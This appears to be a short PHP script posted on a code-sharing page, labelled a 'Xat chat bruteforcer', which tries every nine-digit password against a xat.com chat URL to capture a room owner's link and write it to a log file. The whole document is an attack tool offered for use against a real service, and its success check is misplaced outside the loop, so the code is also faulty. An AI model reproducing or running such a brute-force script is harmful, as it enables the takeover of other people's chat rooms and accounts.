- file_get_contents: documentation ( source)
- strpos: documentation ( source)
- ini_set: documentation ( source)
- file_put_contents: documentation ( source)
<?php
ini_set('max_execution_time', 0);
//Xat chat bruteforcer by Lance
//Make a txt file called "log"
//Change the $chatID var to suite your needs
//Run in PHP(CLI)
//Will write to log.txt once its found the main owner link.
$chatID = "136754234";
for($i=100000000;$i<999999999;$i++){
$file = "http://xat.com/web_gear/chat.php?id=".$chatID."&pw=".$i;
file_get_contents($file);
echo $file."\n";
}
if (strpos($file,$chatID)){
$log = "log.txt";
file_put_contents($log, "chatID: ".$chatID."\nchatPWLink: ".$i."\n\n\n");
file_put_contents($log, "http://xat.com/web_gear/chat.php?id=".$chatID."&pw=".$i);
die("\nPW FOUND");
}
?>